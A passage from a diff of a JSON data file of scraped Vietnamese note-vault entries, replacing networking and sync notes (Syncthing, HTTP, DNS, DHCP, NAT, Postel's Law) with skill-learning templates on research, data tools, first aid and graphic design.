Yorker](https://www.newyorker.com/tech/annals-of-technology/e-mail-is-making-us-miserable \"E-mail Is Making Us Miserable | The New Yorker\")\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "d9" + "id": "gy" }, { - "Tiêu đề": "Upstream, origin là những cái tên thường dùng cho remote", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Git/Repo/Upstream, origin là những cái tên thường dùng cho remote", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Ghi chú", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Ghi chú", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:49:00.000Z", - "id": "dA" + "id": "gz" }, { - "Tiêu đề": "Hướng dẫn đồng bộ dữ liệu với Android", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Syncthing/Hướng dẫn đồng bộ dữ liệu với Android", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Khảo sát", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Khảo sát", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## B1: Tải Syncthing\nTệp cài đặt Syncthing cho [Windows](https://github.com/canton7/SyncTrayzor/releases/download/v1.1.29/SyncTrayzorSetup-x64.exe), [Mac](https://github.com/syncthing/syncthing-macos/releases/download/v1.21.0-1/Syncthing-1.21.0-1.dmg). Cả hai đều có app trên Android. \n\n## B2: Tìm thiết bị\na. **Trên máy tính:** bấm scan device\nb. **Trên điện thoại:** quét mã QR\nc. **Nếu không được:** Bấm vào nút Add Remote Device và dán ID vào mục Device ID\n\n## B3: Tạo một thư mục riêng trước khi đồng bộ\nNếu không sẽ bị tràn file ra ngoài. **Đảm bảo thư mục đó sau này không phải di chuyển sang chỗ khác.** Vì sau khi nhấn accept thì Syncthing sẽ không cho đổi sang thư mục khác. Nếu muốn đổi thì phải xóa đi làm lại từ đầu nếu muốn tiếp tục đồng bộ\n\nXem thêm:: [[Syncthing dành cho đồng bộ dữ liệu giữa các thiết bị của cùng một người. Git chuyên cho việc hợp tác làm việc giữa nhiều người]]\nXem thêm:: [[Sự khác biệt giữa Windows và Android, Mac trong tên file]] ", + "Toàn bộ nội dung": "[Thư viện phiếu phỏng vấn](https://phieuphongvan.blogspot.com)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T05:00:00.000Z", - "Ngày cập nhật": "2024-08-31T14:00:00.000Z", - "id": "dB" + "id": "g-" }, { - "Tiêu đề": "Ảnh lưu trên vault trên điện thoại sẽ được thấy trong gallery ảnh", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Syncthing/Ảnh lưu trên vault trên điện thoại sẽ được thấy trong gallery ảnh", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Nghiên cứu (kỹ năng)", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Nghiên cứu (kỹ năng)", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hình ảnh trong vault sẽ tự động hiện lên trong gallery điện thoại\n", + "Toàn bộ nội dung": "> [!NOTE]- Nội dung cho trang này còn thiếu\r\n> ## Nếu bạn cần học kỹ năng này\r\n> ```button\r\n> name Tìm người sẵn sàng chia sẻ\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=20kỹ%20năng%20Nghiên%20cứu%20(kỹ%20năng)\r\n> ```\r\n> ```button\r\n> name Kiếm trên Google (PDF) \r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Nghiên%20cứu%20(kỹ%20năng)\r\n> ```\r\n> ```button\r\n> id kiemtrenyoutube\r\n> action https://www.youtube.com/search?q=%20Nghiên%20cứu%20(kỹ%20năng)\r\n> ```\r\n> Xem thêm: [[Kỹ năng rèn luyện kỹ năng (kỹ năng meta)]]\r\n> ## Nếu bạn sẵn sàng chia sẻ, hỗ trợ người cần học kỹ năng này\r\n> ```button\r\n> name Thông báo cho mọi người sự sẵn sàng của bạn\r\n> id discordhotrovault\r\n> ```\r\n> ```button\r\n> name Chọn lọc nội dung hay\r\n> id kiemtrengoogle\r\n> action https://www.google.com/search?q=type:pdf%20kỹ%20năng%20Nghiên%20cứu%20(kỹ%20năng)\r\n> ```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T05:00:00.000Z", - "Ngày cập nhật": "2024-08-31T13:51:00.000Z", - "id": "dC" + "id": "g_" }, { - "Tiêu đề": "Syncthing dành cho đồng bộ dữ liệu giữa các thiết bị của cùng một người. Git chuyên cho việc hợp tác làm việc giữa nhiều người", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Đồng bộ, sao lưu/Syncthing dành cho đồng bộ dữ liệu giữa các thiết bị của cùng một người. Git chuyên cho việc hợp tác làm việc giữa nhiều người", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Phỏng vấn", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Phỏng vấn", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Syncthing là dành cho nhóm nhỏ thôi, hoặc tốt nhất là giữa các thiết bị khác nhau của cùng một người. Nếu có nhiều người cùng xài thì sẽ dễ loạn lắm, tạo nhiều xung đột. Nếu có ai thao tác sai thì nó sẽ phá huỷ tất cả dữ liệu. \n\nGit chuyên cho việc hợp tác làm việc. Mỗi người có thể tự điều chỉnh thứ nào mình sẽ lấy xuống, thứ nào mình sẽ đẩy lên\n\nNhững thứ loạn khi dùng Syncthing cho nhiều người:\n- Ngăn những file không mong muốn\n- Mỗi người có một cách để đồng bộ trên điện thoại. \n- [[Ảnh lưu trên vault trên điện thoại sẽ được thấy trong gallery ảnh]]\n\n[[Hướng dẫn đồng bộ dữ liệu với Android]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-31T14:00:00.000Z", - "id": "dD" + "id": "h0" }, { - "Tiêu đề": "HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/HTTP/HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Quản lý tài liệu", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Quản lý tài liệu", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Web Server Concepts and Examples - YouTube](https://youtu.be/9J1nJOivdyw?si=YTY7jgE0OW8MjvxW&t=532)\r\n\r\n[[Protocol là cách để các bên nhận và gửi dữ liệu hiểu nhau]]", + "Toàn bộ nội dung": "Mô tả::\r\n# Đầu vào\r\n- [ ] [[Quản lý cơ sở dữ liệu]]\r\n# Đầu ra\r\n# Tài liệu\r\n\r\n\r\n- Họp: daily note first \r\n- Nghiên cứu: topic first \r\n- Quản lý dự án: context first, action first\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dE" + "id": "h1" }, { - "Tiêu đề": "Request là thứ client gửi cho server. Response là thứ server gửi cho client", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/HTTP/Request là thứ client gửi cho server. Response là thứ server gửi cho client", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tìm tài liệu", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Tìm tài liệu", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[MDN]], [An overview of HTTP - HTTP | MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)\r\n\r\n[[Proxy làm trung gian để client lấy dữ liệu từ server]]\r\n[[Server là phần mềm cung cấp dữ liệu cho phần mềm khác. Client là phần mềm đòi hỏi phần mềm khác cung cấp dữ liệu cho mình]]", + "Toàn bộ nội dung": "Mô tả::\r\n# Đầu vào\r\n- [ ] [HakByte: How to find anything on the internet with Google Dorks - YouTube](https://www.youtube.com/watch?v=lESeJ3EViCo)\r\n# Đầu ra\r\n# Tài liệu\r\n- [[Kinh nghiệm google thuật ngữ]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dF" + "id": "h2" }, { - "Tiêu đề": "SSL và TLS tạo một ống bảo vệ cho HTTP", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/HTTP/SSL và TLS tạo một ống bảo vệ cho HTTP", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Viết", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Viết", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "HTTPS = HTTP + SSL/TLS\r\nNguồn:: ![Network Protocols - ARP, FTP, SMTP, HTTP, SSL, TLS, HTTPS, DNS, DHCP - Networking Fundamentals - L6 - YouTube](https://youtu.be/E5bSumTAHZE?si=zR8d41aJSiui-BaG)", + "Toàn bộ nội dung": "- [ ] Viết cho người mới vào hiểu và thấy chủ đề mình nghiên cứu của mình hấp dẫn\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dG" + "id": "h3" }, { - "Tiêu đề": "Trình duyệt chỉ gửi yêu cầu và nhận phản hồi ở dạng HTTP", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/HTTP/Trình duyệt chỉ gửi yêu cầu và nhận phản hồi ở dạng HTTP", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sử dụng Power BI", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Xử lý dữ liệu/Sử dụng Power BI", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Yêu cầu HTTP chỉ là một file text]]\r\n[[HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau]] \r\nNguồn:: ![Web Server Concepts and Examples - YouTube](https://youtu.be/9J1nJOivdyw?si=YTY7jgE0OW8MjvxW&t=532)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dH" + "id": "h4" }, { - "Tiêu đề": "Yêu cầu HTTP chỉ là một file text", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/HTTP/Yêu cầu HTTP chỉ là một file text", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sử dụng R, Python", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Xử lý dữ liệu/Sử dụng R, Python", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Web Server Concepts and Examples - YouTube](https://youtu.be/9J1nJOivdyw?si=YTY7jgE0OW8MjvxW)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dI" + "id": "h5" }, { - "Tiêu đề": "DDNS cách để không cần phải biết IP của mình là gì mà vẫn có thể truy cập được, kể cả khi nó thay đổi không báo trước", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/DDNS cách để không cần phải biết IP của mình là gì mà vẫn có thể truy cập được, kể cả khi nó thay đổi không báo trước", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sử dụng SPSS", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Xử lý dữ liệu/Sử dụng SPSS", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tên miền thông thường là dạng domain tĩnh. Nó sẽ chết khi IP thay đổi. Tên miền động (dynamic domain, DD) thì ko chết khi IP thay đổi\r\n\r\nNguồn:: ![DDNS - Dynamic DNS Explained - YouTube](https://www.youtube.com/watch?v=rOLGvZagdC0)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dJ" + "id": "h6" }, { - "Tiêu đề": "Default gateway là IP của router", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/Default gateway là IP của router", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tạo báo cáo thống kê", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Xử lý dữ liệu/Tạo báo cáo thống kê", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dK" + "id": "h7" }, { - "Tiêu đề": "DHCP giúp thiết bị có được những thông số cần thiết để kết nối mạng", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/DHCP giúp thiết bị có được những thông số cần thiết để kết nối mạng", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Xử lý dữ liệu", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Nghiên cứu/Xử lý dữ liệu", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Network Protocols - ARP, FTP, SMTP, HTTP, SSL, TLS, HTTPS, DNS, DHCP - Networking Fundamentals - L6 - YouTube](https://youtu.be/E5bSumTAHZE?si=48l-GzMxr0rFf7ix&t=549)", + "Toàn bộ nội dung": "Mô tả::\r\n# Thử thách\r\n- [ ] Khai thác Wikipedia\r\n- [ ] Sử dụng Python/SPSS\r\n- [ ] Tìm hiểu về khoa học dữ liệu\r\n# Mức độ thành thạo\r\n# Tài liệu\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dL" + "id": "h8" }, { - "Tiêu đề": "DNS giúp chuyển tên miền mà con người hiểu được thành IP mà máy tính hiểu được", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/DNS giúp chuyển tên miền mà con người hiểu được thành IP mà máy tính hiểu được", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Ghế ngồi", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Sức khoẻ/Ghế ngồi", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![What is DNS? How a DNS Server (Domain Name System) works? Learn about How DNS Works with our video! - YouTube](https://youtu.be/3eqEl6scOvw)\r\n[How DNS works. What is DNS? Learn how step by step.](https://howdns.works/)\r\n\r\n[[DNS sẽ đi hỏi các root nameserver]]", + "Toàn bộ nội dung": "Bàn cao 75 cm\nĐộ rộng vai \n\n- **Chiều cao đệm:** \n- **Tựa lưng:**\n- **Độ rộng tựa:** \n- **Đồ kê tay:** có thể\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dM" + "id": "h9" }, { - "Tiêu đề": "DNS sẽ đi hỏi các root nameserver", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/DNS sẽ đi hỏi các root nameserver", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sơ cứu", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Sức khoẻ/Sơ cứu", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://wizardzines.com/images/uploads/root-nameservers.png) \r\n![](https://i.imgur.com/ZMClF9q.png)\r\n[Root Server Technical Operations Association](https://root-servers.org/)\r\n", + "Toàn bộ nội dung": "- [ ] dùng băng gạc\r\n- [ ] hồi sức tim phổi \r\n\r\n[Survival Skills Vietnam-SSVN - Home](https://www.facebook.com/SurvivalSkillsVietnam/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dN" + "id": "hA" }, { - "Tiêu đề": "IP mọi người thường sử dụng là IP động", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/IP mọi người thường sử dụng là IP động", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Chụp ảnh, quay phim", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Thiết kế, nghệ thuật/Chụp ảnh, quay phim", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "Mô tả::\r\n# Đầu vào\r\n- [ ] Sử dụng VLC\r\n# Đầu ra\r\n# Tài liệu\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dO" + "id": "hB" }, { - "Tiêu đề": "Internet tuân theo định luật Postel", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/IPv6/Internet tuân theo định luật Postel", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Làm video", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Thiết kế, nghệ thuật/Làm video", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Which brings us to Postel's Law, which I always bring up when I write about networks. When I do, invariably there's a slew of responses trying to debate whether Postel's Law is \"right,\" or \"a good idea,\" as if it were just an idea and not a force of nature.\r\n\r\nPostel's Law says simply this: be conservative in what you send, and liberal in what you accept. Try your best to correctly handle the bugs produced by the other end. The most successful network node is one that plans for every \"impossible\" corruption there might be in the input and does something sensible when it happens. (Sometimes, yes, \"something sensible\" is to throw an error.)\r\n\r\n[Side note: Postel's Law doesn't apply in every situation. You probably don't want your compiler to auto-fix your syntax errors, unless your compiler is javascript or HTML, which, kidding aside, actually were designed to do this sort of auto-correction for Postel's Law reasons. But the law does apply in virtually every complex situation where you need to communicate effectively, including human conversations. The way I like to say it is, \"It takes two to miscommunicate.\" A great listener, _or_ a skilled speaker, can resolve a lot of conflicts.]\r\n\r\nPostel's Law is the principle the Internet is based on. Not because Jon Postel was such a great salesperson and talked everyone into it, but because that is the only winning evolutionary strategy when internets are competing. Nature doesn't care what you think about Postel's Law, because the only Internet that happens will be the one that follows Postel's Law. Every other internet will, without exception, eventually be joined to The Internet by some goofball who does it wrong, but just well enough that it adds value, so that eventually nobody will be willing to break the connection. And then to maintain that connection will require further application of Postel's Law.\r\n\r\nNguồn:: [202007 - apenwarr](https://apenwarr.ca/log/?m=202007#:~:text=Internets%20are%20fundamentally%20sloppy)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dP" + "id": "hC" }, { - "Tiêu đề": "NAT khiến các thiết bị chỉ có thể nói chứ không thể nghe", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/IPv6/NAT khiến các thiết bị chỉ có thể nói chứ không thể nghe", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Thiết kế trải nghiệm người dùng", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Thiết kế, nghệ thuật/Thiết kế trải nghiệm người dùng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "> [!NOTE] Chưa có thông tin\r\n> Nội dung cho trang này chưa có. Nếu bạn đang muốn rèn luyện kỹ năng này, thì hãy bắt đầu bằng việc tìm hiểu xem có những ai sẵn sàng chia sẻ về nó.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dQ" + "id": "hD" }, { - "Tiêu đề": "NAT là cách để ta vẫn còn có thể dùng IPv4 dù số lượng thiết bị đã vượt xa số địa chỉ từ năm 2022", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/IPv6/NAT là cách để ta vẫn còn có thể dùng IPv4 dù số lượng thiết bị đã vượt xa số địa chỉ từ năm 2022", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Canva", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Thiết kế, nghệ thuật/Thiết kế đồ hoạ/Canva", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[NAT khiến các thiết bị chỉ có thể nói chứ không thể nghe]]\r\nNguồn:: [Bad hosts, or: how I learned to stop worrying and love the overlay network](https://www.robinsloan.com/lab/bad-hosts/)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dR" + "id": "hE" }, { - "Tiêu đề": "NAT là lý do khiến cho mọi nỗ lực giải trung tâm hoá internet bị phá hỏng", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/IPv6/NAT là lý do khiến cho mọi nỗ lực giải trung tâm hoá internet bị phá hỏng", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Illustration, Inkscape", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Thiết kế, nghệ thuật/Thiết kế đồ hoạ/Illustration, Inkscape", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[NAT là cách để ta vẫn còn có thể dùng IPv4 dù số lượng thiết bị đã vượt xa số địa chỉ từ năm 2022]]\r\nNguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dS" + "id": "hF" }, { - "Tiêu đề": "MAC không thay đổi được, còn IP thì thay đổi được", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/MAC không thay đổi được, còn IP thì thay đổi được", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Photoshop, Gimp", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Thiết kế, nghệ thuật/Thiết kế đồ hoạ/Photoshop, Gimp", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![MAC vs IP Addresses - the difference between MAC and IP Addresses, a short animation. - YouTube](https://www.youtube.com/watch?v=szwqC6iI_sE&feature=youtu.be)\r\n\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dT" + "id": "hG" }, { - "Tiêu đề": "Subnet mask là độ lớn của host network", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/Subnet mask là độ lớn của host network", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Thiết kế đồ hoạ", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Thiết kế, nghệ thuật/Thiết kế đồ hoạ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "Mô tả::\n# Đầu vào\n- [ ] Canva\n- [ ] Photoshop/Gimp\n- [ ] Illustrator/Inkscape\n- [ ] SVG\n# Đầu ra\n# Tài liệu\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "dU" + "id": "hH" }, { - "Tiêu đề": "Switch là cái bưu điện. Mọi thư từ đều được gửi đến đó chứ không gửi đến địa chỉ người nhận", - "URL": "https://lậptrình.quảcầu.cc/🖥️Mạng máy tính/Giao thức/IP, DNS, DHCP/Switch là cái bưu điện. Mọi thư từ đều được gửi đến đó chứ không gửi đến địa chỉ người nhận", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tạo ảnh hàng loạt", + "URL": "https://kỹnăng.quảcầu.cc/📜Tài nguyên/Thiết kế, nghệ thuật/Thiết kế đồ hoạ/Tạo ảnh hàng loạt", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Computer Networking (Deepdive) - YouTube](https://youtu.be/6G14NrjekLQ?si=AjtXaTmaV0pMQFIu)", + "Toàn bộ nội dung": 